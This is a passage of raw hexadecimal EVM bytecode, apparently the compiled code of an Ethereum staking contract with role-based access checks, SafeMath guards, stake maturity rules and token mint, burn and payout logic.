a565b3480156106ab57600080fd5b506102ed611a20565b3480156106c057600080fd5b50610387600480360360408110156106d757600080fd5b506001600160a01b0381358116916020013516611a26565b3480156106fb57600080fd5b506102ed611b2a565b34801561071057600080fd5b50610719611b4c565b604051808360a080838360005b8381101561073e578181015183820152602001610726565b505086519290940191825250915083905060a080838360206104f1565b34801561076757600080fd5b506103876004803603602081101561077e57600080fd5b5035611c2b565b34801561079157600080fd5b506102ed611e92565b3480156107a657600080fd5b50610387600480360360208110156107bd57600080fd5b5035611e98565b3480156107d057600080fd5b506102ed600480360360408110156107e757600080fd5b506001600160a01b0381358116916020013516612028565b34801561080b57600080fd5b506102ed612057565b34801561082057600080fd5b506103876004803603602081101561083757600080fd5b503561205d565b34801561084a57600080fd5b506104cd6120dc565b34801561085f57600080fd5b5061086861218b565b604080519115158252519081900360200190f35b34801561088857600080fd5b506103876004803603606081101561089f57600080fd5b5080359060208101359060400135612194565b3480156108be57600080fd5b506102ed61255f565b3480156108d357600080fd5b50610387600480360360408110156108ea57600080fd5b5080359060200135612584565b34801561090357600080fd5b50610387600480360361014081101561091b57600080fd5b5060a081016126fd565b34801561093157600080fd5b506102ed612849565b34801561094657600080fd5b506102ed61284f565b34801561095b57600080fd5b506103876004803603602081101561097257600080fd5b5035612855565b34801561098557600080fd5b506102ed6128c6565b34801561099a57600080fd5b506109be600480360360408110156109b157600080fd5b50803590602001356128cc565b604080516001600160a01b039092168252519081900360200190f35b3480156109e657600080fd5b50610387600480360360208110156109fd57600080fd5b503561ffff166128ea565b348015610a1457600080fd5b5061086860048036036040811015610a2b57600080fd5b50803590602001356001600160a01b0316612974565b348015610a4d57600080fd5b506102ed60048036036060811015610a6457600080fd5b5080359060208101359060400135612992565b348015610a8357600080fd5b50610868612a2c565b348015610a9857600080fd5b50610387612a35565b348015610aad57600080fd5b50610ad160048036036040811015610ac457600080fd5b5080359060200135612b5f565b6040518082600260200280838360005b83811015610af9578181015183820152602001610ae1565b5050505090500191505060405180910390f35b348015610b1857600080fd5b506102ed612b71565b348015610b2d57600080fd5b506102ed612b76565b348015610b4257600080fd5b5061038760048036036020811015610b5957600080fd5b50356001600160a01b0316612b7c565b348015610b7557600080fd5b50610868612b85565b348015610b8a57600080fd5b506102ed612b8e565b348015610b9f57600080fd5b5061086860048036036020811015610bb657600080fd5b50356001600160a01b0316612b94565b348015610bd257600080fd5b5061038760048036036020811015610be957600080fd5b50351515612bb2565b348015610bfe57600080fd5b506102ed60048036036020811015610c1557600080fd5b5035612c31565b348015610c2857600080fd5b5061038760048036036060811015610c3f57600080fd5b5080359060208101359060400135612c48565b348015610c5e57600080fd5b506102ed60048036036020811015610c7557600080fd5b50356001600160a01b0316612ec2565b348015610c9157600080fd5b5061038760048036036040811015610ca857600080fd5b50803590602001356001600160a01b0316612edd565b348015610cca57600080fd5b50610cd3612f36565b604080516001600160a01b039485168152928416602084015292168183015290519081900360600190f35b348015610d0a57600080fd5b506102ed60048036036040811015610d2157600080fd5b506001600160a01b038135169060200135612f53565b348015610d4357600080fd5b506102ed612f81565b348015610d5857600080fd5b506102ed612f87565b348015610d6d57600080fd5b506102ed60048036036060811015610d8457600080fd5b5080359060208101359060400135612fab565b348015610da357600080fd5b506109be612fd4565b348015610db857600080fd5b5061038760048036036040811015610dcf57600080fd5b50803590602001356001600160a01b0316612fe3565b348015610df157600080fd5b506102ed613059565b348015610e0657600080fd5b5061038760048036036020811015610e1d57600080fd5b50356001600160a01b031661305f565b607a5490565b60008080610e47858763ffffffff61307a16565b90506000610e60606c54836130d790919063ffffffff16565b90506000610e74428963ffffffff61307a16565b90506000610e8d606c54836130d790919063ffffffff16565b90506000610ea18b8963ffffffff61313b16565b905081841115610ef3576000610ecd86610ec1848763ffffffff61319316565b9063ffffffff6130d716565b90506000610ee1838363ffffffff61307a16565b919850909650610f5495505050505050565b610f0484600e63ffffffff61313b16565b821015610f1b57955060009450610f549350505050565b610f2d846102ca63ffffffff61313b16565b821015610f4457955060009450610f549350505050565b600096509450610f549350505050565b94509492505050565b604080517345585445524e414c5f5354414b45525f524f4c4560601b81529051908190036014019020610f9790610f926131ec565b612974565b610fd6576040805162461bcd60e51b815260206004820152601f6024820152600080516020614dd5833981519152604482015290519081900360640190fd5b610fe7607c8263ffffffff6131f016565b15801561100257506065546001600160a01b03828116911614155b1561101a57611018607c8263ffffffff61320516565b505b50565b60726020908152600092835260408084209091529082529020805460018201546002830154600384015460048501546005860154600687015460079097015495969495939492939192909160ff9091169088565b604080516c4d49475241544f525f524f4c4560981b8152905190819003600d01902061109d9033612974565b806110ce5750604080516b4d414e414745525f524f4c4560a01b8152905190819003600c0190206110ce9033612974565b6111095760405162461bcd60e51b81526004018080602001828103825260298152602001806150006029913960400191505060405180910390fd5b6081805460ff1916911515919091179055565b60815460ff1615806111575750604080516c4d49475241544f525f524f4c4560981b8152905190819003600d01902061115790610f926131ec565b611196576040805162461bcd60e51b81526020600482015260126024820152600080516020614f4d833981519152604482015290519081900360640190fd5b6071548111156111ea576040805162461bcd60e51b815260206004820152601a60248201527914d51052d25391ce88125b9d985b1a59081cd95cdcda5bdb925960321b604482015290519081900360640190fd5b3360009081526072602090815260408083208484529091529020600381015415801561121b5750600681015460ff16155b611267576040805162461bcd60e51b815260206004820152601860248201527729aa20a5a4a7239d1029ba30b5b2903bb4ba34323930bbb760411b604482015290519081900360640190fd5b606854604080516309825ebb60e11b815233600482015260248101859052905160009283928392839283926001600160a01b0390911691631304bd769160448082019260a092909190829003018186803b1580156112c457600080fd5b505afa1580156112d8573d6000803e3d6000fd5b505050506040513d60a08110156112ee57600080fd5b5080516020820151604083015160608401516080909401519298509096509450909250905081611363576040805162461bcd60e51b815260206004820152601b60248201527a5354414b494e473a205374616b652077697468647261776e20763160281b604482015290519081900360640190fd5b6000606c548585038161137257fe5b049050818101600080808061138987868a8e61321a565b935093509350935061139f888b8b848888613333565b6113ae8d89838e8689896133fd565b60405180610100016040528083815260200185815260200184815260200182815260200160748054905081526020016074805490506115b3018152602001600015158152602001600081525060726000336001600160a01b03166001600160a01b0316815260200190815260200160002060008f8152602001908152602001600020600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c08201518160060160006101000a81548160ff02191690831515021790555060e0820151816007015590505060736000336001600160a01b03166001600160a01b031681526020019081526020016000208d908060018154018082558091505060019003906000526020600020016000909190919091505550505050505050505050505050565b604080517345585445524e414c5f5354414b45525f524f4c4560601b8152905190819003601401902061152990610f926131ec565b611568576040805162461bcd60e51b815260206004820152601f6024820152600080516020614dd5833981519152604482015290519081900360640190fd5b60815460ff1615806115a35750604080516c4d49475241544f525f524f4c4560981b8152905190819003600d0190206115a390610f926131ec565b6115e2576040805162461bcd60e51b81526020600482015260126024820152600080516020614f4d833981519152604482015290519081900360640190fd5b81611622576040805162461bcd60e51b81526020600482015260196024820152600080516020614e5f833981519152604482015290519081900360640190fd5b6115b3821115611667576040805162461bcd60e51b815260206004820152601c6024820152600080516020614fbc833981519152604482015290519081900360640190fd5b611672838383613518565b505050565b6001600160a01b0381166000908152607360209081526040918290208054835181840281018401909452808452606093928301828280156116d757602002820191906000526020600020905b8154815260200190600101908083116116c3575b50505050509050919050565b60009081526033602052604090206002015490565b607854610100900461ffff1690565b6074818154811061171457fe5b60009182526020909120600290910201805460019091015490915082565b604080517345585445524e414c5f5354414b45525f524f4c4560601b8152905190819003601401902061176790610f926131ec565b6117a6576040805162461bcd60e51b815260206004820152601f6024820152600080516020614dd5833981519152604482015290519081900360640190fd5b6065546001600160a01b0383811691161461182357607a54611809906117e490610ec1846a0c097ce7bc90715b34b9f160241b63ffffffff61319316565b6001600160a01b0384166000908152607b60205260409020549063ffffffff61313b16565b6001600160a01b0383166000908152607b60205260409020555b50505050565b60815460ff1615806118645750604080516c4d49475241544f525f524f4c4560981b8152905190819003600d01902061186490610f926131ec565b6118a3576040805162461bcd60e51b81526020600482015260126024820152600080516020614f4d833981519152604482015290519081900360640190fd5b33600090815260726020908152604080832084845290915290206003810154158015906118d55750600681015460ff16155b6119105760405162461bcd60e51b8152600401808060200182810382526023815260200180614e3c6023913960400191505060405180910390fd5b42600061191e8385846135b6565b90506118233382613608565b60008281526033602052604090206002015461194890610f926131ec565b6119835760405162461bcd60e51b815260040180806020018281038252602f815260200180614da6602f913960400191505060405180910390fd5b611018828261365d565b6119956131ec565b6001600160a01b0316816001600160a01b0316146119e45760405162461bcd60e51b815260040180806020018281038252602f81526020018061504c602f913960400191505060405180910390fd5b61101882826136cc565b604080517345585445524e414c5f5354414b45525f524f4c4560601b8152905190819003601401902081565b60705481565b60715481565b600054610100900460ff1680611a3f5750611a3f61373b565b80611a4d575060005460ff16155b611a885760405162461bcd60e51b815260040180806020018281038252602e815260200180614f6d602e913960400191505060405180910390fd5b600054610100900460ff16158015611ab3576000805460ff1961ff0019909116610100171660011790555b604080516b4d414e414745525f524f4c4560a01b8152905190819003600c019020611ade9084611983565b604080516c4d49475241544f525f524f4c4560981b8152905190819003600d019020611b0a9083611983565b6075805460ff191690558015611672576000805461ff0019169055505050565b6000611b47606c54610ec1606d544261307a90919063ffffffff16565b905090565b611b54614d47565b611b5c614d47565b6040805160a0810191829052608891608b91908390600590826000855b82829054906101000a90046001600160801b03166001600160801b031681526020019060100190602082600f01049283019260010382029150808411611b795750506040805160a08101918290529597508694506005935091508390506000855b82829054906101000a90046001600160801b03166001600160801b031681526020019060100190602082600f01049283019260010382029150808411611bda57905050505050509050915091509091565b60815460ff161580611c665750604080516c4d49475241544f525f524f4c4560981b8152905190819003600d019020611c6690610f926131ec565b611ca5576040805162461bcd60e51b81526020600482015260126024820152600080516020614f4d833981519152604482015290519081900360640190fd5b607154811115611cf9576040805162461bcd60e51b815260206004820152601a60248201527914dd185ada5b99ce88125b9d985b1a59081cd95cdcda5bdb925960321b604482015290519081900360640190fd5b33600090815260726020908152604080832084845290915290206003810154158015611d2a5750600681015460ff16155b611d69576040805162461bcd60e51b81526020600482015260186024820152600080516020614ef5833981519152604482015290519081900360640190fd5b606854604080516309825ebb60e11b815233600482015260248101859052905160009283928392839283926001600160a01b0390911691631304bd769160448082019260a092909190829003018186803b158015611dc657600080fd5b505afa158015611dda573d6000803e3d6000fd5b505050506040513d60a0811015611df057600080fd5b5080516020820151604083015160608401516080909401519298509096509450909250905081611e515760405162461bcd60e51b8152600401808060200182810382526023815260200180614e3c6023913960400191505060405180910390fd5b6000606c5485850381611e6057fe5b049050818101426000611e798b8a8a8a868b8b8a61374c565b9050611e853382613608565b5050505050505050505050565b60775481565b60815460ff161580611ed35750604080516c4d49475241544f525f524f4c4560981b8152905190819003600d019020611ed390610f926131ec565b611f12576040805162461bcd60e51b81526020600482015260126024820152600080516020614f4d833981519152604482015290519081900360640190fd5b3360009081526072602090815260408083208484529091529020600381015415801590611f445750600681015460ff16155b611f7f5760405162461bcd60e51b81526004018080602001828103825260238152602001806150296023913960400191505060405180910390fd5b600080600080611fa1856004015486600501548760030154886000015461321a565b9350935093509350611fc3856003015486600101548760020154848888613333565b611fda8686600301548388600001548689896133fd565b3360009081526072602090815260408083209883529790529590952090815560028101919091556001810191909155600381019290925550607454600482018190556115b301600590910155565b6001600160a01b0382166000908152607f602052604081205461204e9084908490613899565b90505b92915050565b606d5481565b604080516c4d49475241544f525f524f4c4560981b8152905190819003600d01902061208b90610f926131ec565b6120d7576040805162461bcd60e51b815260206004820152601860248201527721b0b63632b91034b9903737ba10309036b4b3b930ba37b960411b604482015290519081900360640190fd5b607a55565b6060806120e9607c613909565b6001600160401b03811180156120fe57600080fd5b50604051908082528060200260200182016040528015612128578160200160208202803683370190505b50905060005b612138607c613909565b8160ff16101561218557612156607c60ff831663ffffffff61391416565b828260ff168151811061216557fe5b6001600160a01b039092166020928302919091019091015260010161212e565b50905090565b60815460ff1690565b60815460ff1615806121cf5750604080516c4d49475241544f525f524f4c4560981b8152905190819003600d0190206121cf90610f926131ec565b61220e576040805162461bcd60e51b81526020600482015260126024820152600080516020614f4d833981519152604482015290519081900360640190fd5b607154831115612262576040805162461bcd60e51b815260206004820152601a60248201527914dd185ada5b99ce88125b9d985b1a59081cd95cdcda5bdb925960321b604482015290519081900360640190fd5b816122a2576040805162461bcd60e51b81526020600482015260196024820152600080516020614e5f833981519152604482015290519081900360640190fd5b6115b38211156122e7576040805162461bcd60e51b815260206004820152601c6024820152600080516020614fbc833981519152604482015290519081900360640190fd5b336000908152607260209081526040808320868452909152902060038101541580156123185750600681015460ff16155b612357576040805162461bcd60e51b81526020600482015260186024820152600080516020614ef5833981519152604482015290519081900360640190fd5b606854604080516309825ebb60e11b815233600482015260248101879052905160009283928392839283926001600160a01b0390911691631304bd769160448082019260a092909190829003018186803b1580156123b457600080fd5b505afa1580156123c8573d6000803e3d6000fd5b505050506040513d60a08110156123de57600080fd5b5080516020820151604083015160608401516080909401519298509096509450909250905081612443576040805162461bcd60e51b81526020600482015260186024820152600080516020614ef5833981519152604482015290519081900360640190fd5b4280841115612495576040805162461bcd60e51b81526020600482015260196024820152785374616b696e673a205374616b65206e6f74206d617475726560381b604482015290519081900360640190fd5b6000606c54868603816124a457fe5b04905082810160006124bc8d8a8a8a888b8b8961374c565b90508a156125455760655460408051632770a7eb60e21b8152336004820152602481018e905290516001600160a01b0390921691639dc29fac9160448082019260009290919082900301818387803b15801561251757600080fd5b505af115801561252b573d6000803e3d6000fd5b505050506125428b8261313b90919063ffffffff16565b90505b612550818d33613518565b50505050505050505050505050565b604080516c4d49475241544f525f524f4c4560981b8152905190819003600d01902081565b60815460ff1615806125bf5750604080516c4d49475241544f525f524f4c4560981b8152905190819003600d0190206125bf90610f926131ec565b6125fe576040805162461bcd60e51b81526020600482015260126024820152600080516020614f4d833981519152604482015290519081900360640190fd5b8061263e576040805162461bcd60e51b81526020600482015260196024820152600080516020614e5f833981519152604482015290519081900360640190fd5b6115b3811115612683576040805162461bcd60e51b815260206004820152601c6024820152600080516020614fbc833981519152604482015290519081900360640190fd5b61268e828233613518565b60655460408051632770a7eb60e21b81523360048201526024810185905290516001600160a01b0390921691639dc29fac9160448082019260009290919082900301818387803b1580156126e157600080fd5b505af11580156126f5573d6000803e3d6000fd5b505050505050565b604080516c4d49475241544f525f524f4c4560981b8152905190819003600d01902061272b90610f926131ec565b612777576040805162461bcd60e51b815260206004820152601860248201527721b0b63632b91034b9903737ba10309036b4b3b930ba37b960411b604482015290519081900360640190fd5b60005b60058160ff16101561167257828160ff166005811061279557fe5b60200201356001600160801b031660886000018260ff16600581106127b657fe5b600291828204019190066010026101000a8154816001600160801b0302191690836001600160801b03160217905550818160ff16600581106127f457fe5b60200201356001600160801b031660886003018260ff166005811061281557fe5b6002810490910180546001600160801b0393841660106001948516026101000a90810294021916929092179091550161277a565b606f5481565b606b5481565b604080516b4d414e414745525f524f4c4560a01b8152905190819003600c01902061288290610f926131ec565b6128c1576040805162461bcd60e51b81526020600482015260176024820152600080516020614ed5833981519152604482015290519081900360640190fd5b607955565b606e5481565b600082815260336020526040812061204e908363ffffffff61391416565b604080516b4d414e414745525f524f4c4560a01b8152905190819003600c01902061291790610f926131ec565b612956576040805162461bcd60e51b81526020600482015260176024820152600080516020614ed5833981519152604482015290519081900360640190fd5b6078805461ffff9092166101000262ffff0019909216919091179055565b600082815260336020526040812061204e908363ffffffff6131f016565b60008060006129a660748054905086613920565b9050855b81811015612a21576000612a04607483815481106129c457fe5b906000526020600020906002020160010154610ec188607486815481106129e757fe5b60009182526020909120600290910201549063ffffffff61319316565b9050612a16848263ffffffff61313b16565b9350506001016129aa565b509095945050505050565b60755460ff1681565b606b54421015612a89576040805162461bcd60e51b815260206004820152601a6024820152795374616b696e673a2057726f6e67207061796f75742074696d6560301b604482015290519081900360640190fd5b6000612a93613936565b60408051808201909152818152606a54602082019081526074805460018101825560009190915291517f19a0b39aa25ac793b5f6e9a0534364cc0b3fd1ea9b651e79c7f50a59d48ef813600290930292830155517f19a0b39aa25ac793b5f6e9a0534364cc0b3fd1ea9b651e79c7f50a59d48ef81490910155606c54606b54919250612b1f919061313b565b606b55612b2b81613ba3565b42606a54827fd62b41a40bef91d47724ff07583b3d171958e4bc44899c59aea750e4a0160bf960405160405180910390a450565b612b67614d65565b61204e8383613c90565b600081565b606c5481565b61101a81613d1a565b60785460ff1690565b606a5481565b6001600160a01b03166000908152607e602052604090205460ff1690565b604080516b4d414e414745525f524f4c4560a01b8152905190819003600c019020612bdf90610f926131ec565b612c1e576040805162461bcd60e51b81526020600482015260176024820152600080516020614ed5833981519152604482015290519081900360640190fd5b6078805460ff1916911515919091179055565b600081815260336020526040812061205190613909565b60815460ff161580612c835750604080516c4d49475241544f525f524f4c4560981b8152905190819003600d019020612c8390610f926131ec565b612cc2576040805162461bcd60e51b81526020600482015260126024820152600080516020614f4d833981519152604482015290519081900360640190fd5b81612d02576040805162461bcd60e51b81526020600482015260196024820152600080516020614e5f833981519152604482015290519081900360640190fd5b6115b3821115612d47576040805162461bcd60e51b815260206004820152601c6024820152600080516020614fbc833981519152604482015290519081900360640190fd5b3360009081526072602090815260408083208684529091529020600381015415801590612d795750600681015460ff16155b612dca576040805162461bcd60e51b815260206004820181905260248201527f5374616b696e673a205374616b652077697468647261776e2f696e76616c6964604482015290519081900360640190fd5b60028101544290811015612e21576040805162461bcd60e51b81526020600482015260196024820152785374616b696e673a205374616b65206e6f74206d617475726560381b604482015290519081900360640190fd5b6000612e2e8387846135b6565b90508315612eb75760655460408051632770a7eb60e21b81523360048201526024810187905290516001600160a01b0390921691639dc29fac9160448082019260009290919082900301818387803b158015612e8957600080fd5b505af1158015612e9d573d6000803e3d6000fd5b50505050612eb4848261313b90919063ffffffff16565b90505b6126f5818633613518565b6001600160a01b03166000908152607f602052604090205490565b600082815260336020526040902060020154612efb90610f926131ec565b6119e45760405162461bcd60e51b8152600401808060200182810382526030815260200180614ea56030913960400191505060405180910390fd5b6065546066546067546001600160a01b0392831692918216911683565b60736020528160005260406000208181548110612f6c57fe5b90600052602060002001600091509150505481565b60765481565b604080516b4d414e414745525f524f4c4560a01b8152905190819003600c01902081565b6000612fb5614d65565b612fbf8585613c90565b9050612fcb83826142d7565b95945050505050565b6068546001600160a01b031681565b604080516b4d414e414745525f524f4c4560a01b8152905190819003600c01902061301090610f926131ec565b61304f576040805162461bcd60e51b81526020600482015260176024820152600080516020614ed5833981519152604482015290519081900360640190fd5b6110188282611983565b60695481565b336000908152607f602052604090205461101a9082906143ae565b6000828211156130d1576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600080821161312a576040805162461bcd60e51b815260206004820152601a602482015279536166654d6174683a206469766973696f6e206279207a65726f60301b604482015290519081900360640190fd5b81838161313357fe5b049392505050565b60008282018381101561204e576040805162461bcd60e51b815260206004820152601b60248201527a536166654d6174683a206164646974696f6e206f766572666c6f7760281b604482015290519081900360640190fd5b6000826131a257506000612051565b828202828482816131af57fe5b041461204e5760405162461bcd60e51b8152600401808060200182810382526021815260200180614f9b6021913960400191505060405180910390fd5b3390565b600061204e836001600160a01b038416614512565b600061204e836001600160a01b03841661452a565b60785460009081908190819060ff1615156001146132695760405162461bcd60e51b8152600401808060200182810382526026815260200180614e7f6026913960400191505060405180910390fd5b607854610100900461ffff1688880311156132b55760405162461bcd60e51b8152600401808060200182810382526047815260200180614df56047913960600191505060405180910390fd5b60006132c2898989612992565b606c5490915042906115b302810187830160006132e0828585614574565b90508a81116133205760405162461bcd60e51b8152600401808060200182810382526038815260200180614f156038913960400191505060405180910390fd5b929c919b50995090975095505050505050565b61333b614d65565b6133458686613c90565b905061334f614d65565b6133598484613c90565b82519091505b816001602002015161ffff168161ffff1610156133f2578561ffff8216846001602002015161ffff1611156133a15761339e818b63ffffffff61307a16565b90505b80608b61ffff8416600581106133b357fe5b6002810490910180546001600160801b0360106001948516026101000a808304821690950181168502940219169290921790915591909101905061335f565b505050505050505050565b606b54421061340e5761340e612a35565b336000908152607e602052604090205460ff1661342e5761342e33613d1a565b606a546134439087870363ffffffff61313b16565b606a5560775461345b9085850363ffffffff61313b16565b607755607a546134739087870363ffffffff61313b16565b607a55336000908152607f60205260409020546134988188880363ffffffff61313b16565b336000818152607f60205260409020919091556134b590826145fa565b6040805186815260208101869052808201899052606081018890526080810185905260a081018490529051899133917f726e103f034230e119217c46f21c9f5116a8cdb782dfbdd74aece8d2c76c81a39181900360c00190a35050505050505050565b606b54421061352957613529612a35565b6001600160a01b0381166000908152607e602052604090205460ff166135525761355281613d1a565b606c54429060009061357c9061356f90869063ffffffff61319316565b429063ffffffff61313b16565b60705490915061359390600163ffffffff61313b16565b6070819055506135af60705486848488607480549050896147d2565b5050505050565b6000806135e184866000015487600101548860020154878a600301548b600401548c60050154614a05565b6002860184905560068601805460ff19166001179055600786018190559150509392505050565b606554604080516340c10f1960e01b81526001600160a01b03858116600483015260248201859052915191909216916340c10f1991604480830192600092919082900301818387803b1580156126e157600080fd5b600082815260336020526040902061367b908263ffffffff61320516565b15611018576136886131ec565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60008281526033602052604090206136ea908263ffffffff614b8316565b15611018576136f76131ec565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b600061374630614b98565b15905090565b60008061375f8a8a8a8a8a8a8a8a614a05565b90506040518061010001604052808a81526020018981526020018781526020018681526020018581526020018481526020016001151581526020018281525060726000336001600160a01b03166001600160a01b0316815260200190815260200160002060008c8152602001908152602001600020600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c08201518160060160006101000a81548160ff02191690831515021790555060e0820151816007015590505060736000336001600160a01b03166001600160a01b031681526020019081526020016000208a90806001815401808255809150506001900390600052602060002001600090919091909150558091505098975050505050505050565b6001600160a01b038084166000908152608060209081526040808320938616835292815282822054607b909152918120549091613901916a0c097ce7bc90715b34b9f160241b91610ec1916138f590879063ffffffff61319316565b9063ffffffff61307a16565b949350505050565b600061205182614b9e565b600061204e8383614ba2565b600081831061392f578161204e565b5090919050565b606554604080516370a0823160e01b8152306004820152905160009283926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561398657600080fd5b505afa15801561399a573d6000803e3d6000fd5b505050506040513d60208110156139b057600080fd5b50516065546040805163a9059cbb60e01b815261dead60048201526024810184905290519293506001600160a01b039091169163a9059cbb916044808201926020929091908290030181600087803b158015613a0b57600080fd5b505af1158015613a1f573d6000803e3d6000fd5b505050506040513d6020811015613a3557600080fd5b5050606554604080516370a0823160e01b815261dead600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015613a8457600080fd5b505afa158015613a98573d6000803e3d6000fd5b505050506040513d6020811015613aae57600080fd5b5051606554604080516318160ddd60e01b815290519293506000926001600160a01b03909216916318160ddd91600480820192602092909190829003018186803b158015613afb57600080fd5b505afa158015613b0f573d6000803e3d6000fd5b505050506040513d6020811015613b2557600080fd5b5051607754909150600090613b6a90618e9490610ec190613b5c90613b50878963ffffffff61307a16565b9063ffffffff61313b16565b60089063ffffffff61319316565b90504282857fef6482dcc5caca4e5e1fa96221f98a23497b2e1b15e1963495a4649021de463560405160405180910390a4935050505090565b606554604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd916004808301926020929190829003018186803b158015613be857600080fd5b505afa158015613bfc573d6000803e3d6000fd5b505050506040513d6020811015613c1257600080fd5b5051607754909150600090613c38908301600101610ec185670de0b6b3a7640000613193565b905060795460001415613c4b5760016079555b613c88670de0b6b3a7640000610ec1613c6f8460795461319390919063ffffffff16565b60695490670de0b6b3a76400000163ffffffff61319316565b606955505050565b613c98614d65565b613ca0614d65565b606c54600090613cb89061015e63ffffffff61319316565b9050613cdd6005613cd883610ec1606d548a61307a90919063ffffffff16565b613920565b61ffff1682526000613cf382610ec1878961307a565b835161ffff16019050613d07816005613920565b61ffff1660208401525090949350505050565b60815460ff161580613d555750604080516c4d49475241544f525f524f4c4560981b8152905190819003600d019020613d5590610f926131ec565b613d94576040805162461bcd60e51b81526020600482015260126024820152600080516020614f4d833981519152604482015290519081900360640190fd5b6001600160a01b0381166000908152607e602052604090205460ff161580613de35750604080516c4d49475241544f525f524f4c4560981b8152905190819003600d019020613de39033612974565b613e1e5760405162461bcd60e51b8152600401808060200182810382526024815260200180614fdc6024913960400191505060405180910390fd5b6001600160a01b0381166000908152607360205260408120815b8154811015613ef8576001600160a01b03841660009081526072602052604081208354909190849084908110613e6a57fe5b6000918252602080832090910154835282019290925260400190206006015460ff1615613e9657613ef0565b6001600160a01b03841660009081526072602052604081208354613eed9290859085908110613ec157fe5b90600052602060002001548152602001908152602001600020600301548461313b90919063ffffffff16565b92505b600101613e38565b50606854604080516308a2623160e21b81526001600160a01b0386811660048301529151606093929092169163228988c491602480820192600092909190829003018186803b158015613f4a57600080fd5b505afa158015613f5e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015613f8757600080fd5b8101908080516040519392919084600160201b821115613fa657600080fd5b908301906020820185811115613fbb57600080fd5b82518660208202830111600160201b82111715613fd757600080fd5b82525081516020918201928201910280838360005b83811015614004578181015183820152602001613fec565b50505050905001604052505050905060008090505b815181101561419f576001600160a01b0385166000908152607260205260408120835190919084908490811061404b57fe5b602002602001015181526020019081526020016000206003015460001461407157614197565b60715482828151811061408057fe5b6020026020010151111561409357614197565b6000806000806000606860009054906101000a90046001600160a01b03166001600160a01b0316631304bd768b8989815181106140cc57fe5b60200260200101516040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b031681526020018281526020019250505060a06040518083038186803b15801561412157600080fd5b505afa158015614135573d6000803e3d6000fd5b505050506040513d60a081101561414b57600080fd5b508051602082015160408301516060840151608090940151929850909650945090925090508161417f575050505050614197565b61418f898363ffffffff61313b16565b985050505050505b600101614019565b506001600160a01b0384166000908152607e60205260409020805460ff19166001179055821561429b576001600160a01b0384166000908152607f60205260409020839055607a546141f7908463ffffffff61313b16565b607a5560005b614207607c613909565b8110156142995761424d607b6000614226607c8563ffffffff61391416565b6001600160a01b03168152602081019190915260400160002054859063ffffffff61319316565b6001600160a01b038616600090815260806020526040812090614277607c8563ffffffff61391416565b6001600160a01b031681526020810191909152604001600020556001016141fd565b505b60405183906001600160a01b038616907fefd1ddef00b1051abc144c2e895de70a10dbbc3ad8985118c74c15e40e3d391f90600090a350505050565b600080806142f385670de0b6b3a764000063ffffffff61319316565b84519091505b846001602002015161ffff168161ffff16101561439557614389608861ffff83166005811061432457fe5b60028104919091015460019091166010026101000a90046001600160801b031661437d608b61ffff85166005811061435857fe5b60028104919091015486916001166010026101000a90046001600160801b03166130d7565b9063ffffffff61319316565b909201916001016142f9565b50612fcb82670de0b6b3a764000063ffffffff6130d716565b60006143bb338484613899565b6001600160a01b0384166000908152607b6020908152604080832054338452607f909252909120549192506143f6919063ffffffff61319316565b3360009081526080602090815260408083206001600160a01b0388811680865291909352922092909255146144a6576040805163a9059cbb60e01b81523360048201526024810183905290516001600160a01b0385169163a9059cbb9160448083019260209291908290030181600087803b15801561447457600080fd5b505af1158015614488573d6000803e3d6000fd5b505050506040513d602081101561449e57600080fd5b506144d59050565b604051339082156108fc029083906000818181858888f193505050501580156144d3573d6000803e3d6000fd5b505b60405181906001600160a01b0385169033907ff7c24607d5656684dc3f33f28c44b5f8fcbbdc959f0049e9a57b2056fc1c119a90600090a4505050565b60009081526001919091016020526040902054151590565b60006145368383614512565b61456c57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155612051565b506000612051565b600080614590606c54610ec1868661307a90919063ffffffff16565b905060006145b66145a961071b8463ffffffff61313b16565b879063ffffffff61319316565b905060006145d160695461071c61319390919063ffffffff16565b90506145ef81610ec184670de0b6b3a764000063ffffffff61319316565b979650505050505050565b60005b614607607c613909565b8160ff161015611672576001600160a01b03831660009081526080602052604081206146a89082614642607c60ff871663ffffffff61391416565b6001600160a01b03166001600160a01b03168152602001908152602001600020546138f5607b60006146818760ff16607c61391490919063ffffffff16565b6001600160a01b03168152602081019190915260400160002054869063ffffffff61319316565b905080614700607b60006146c6607c60ff881663ffffffff61391416565b6001600160a01b0390811682526020808301939093526040918201600090812054918a168152607f9093529120549063ffffffff61319316565b10156147285761472361471d607c60ff851663ffffffff61391416565b846143ae565b6147c9565b614781816138f5607b6000614747607c60ff891663ffffffff61391416565b6001600160a01b0390811682526020808301939093526040918201600090812054918b168152607f9093529120549063ffffffff61319316565b6001600160a01b0385166000908152608060205260408120906147ae607c60ff871663ffffffff61391416565b6001600160a01b031681526020810191909152604001600020555b506001016145fd565b60006147df878787614574565b606a549091506147f5908263ffffffff61313b16565b606a5560775461480b908863ffffffff61313b16565b607755607a54614821908263ffffffff61313b16565b607a556001600160a01b0382166000908152607f602052604090205461484d818363ffffffff61313b16565b6001600160a01b0384166000908152607f602052604090205561487083826145fa565b6040518061010001604052808981526020018881526020018781526020018381526020018581526020018686018152602001600015158152602001600081525060726000856001600160a01b03166001600160a01b0316815260200190815260200160002060008b8152602001908152602001600020600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c08201518160060160006101000a81548160ff02191690831515021790555060e0820151816007015590505060736000846001600160a01b03166001600160a01b031681526020019081526020016000208990806001815401808255809150506001900390600052602060002001600090919091909150556149a6828888614c06565b60408051898152602081018990528082018890526060810184905290518a916001600160a01b038616917fc6f8dbf1fa0a0918d52df74fa2b529a0a4da7011a24f263a28678e7504444cd69181900360800190a3505050505050505050565b6000606b544210614a1857614a18612a35565b336000908152607e602052604090205460ff16614a3857614a38336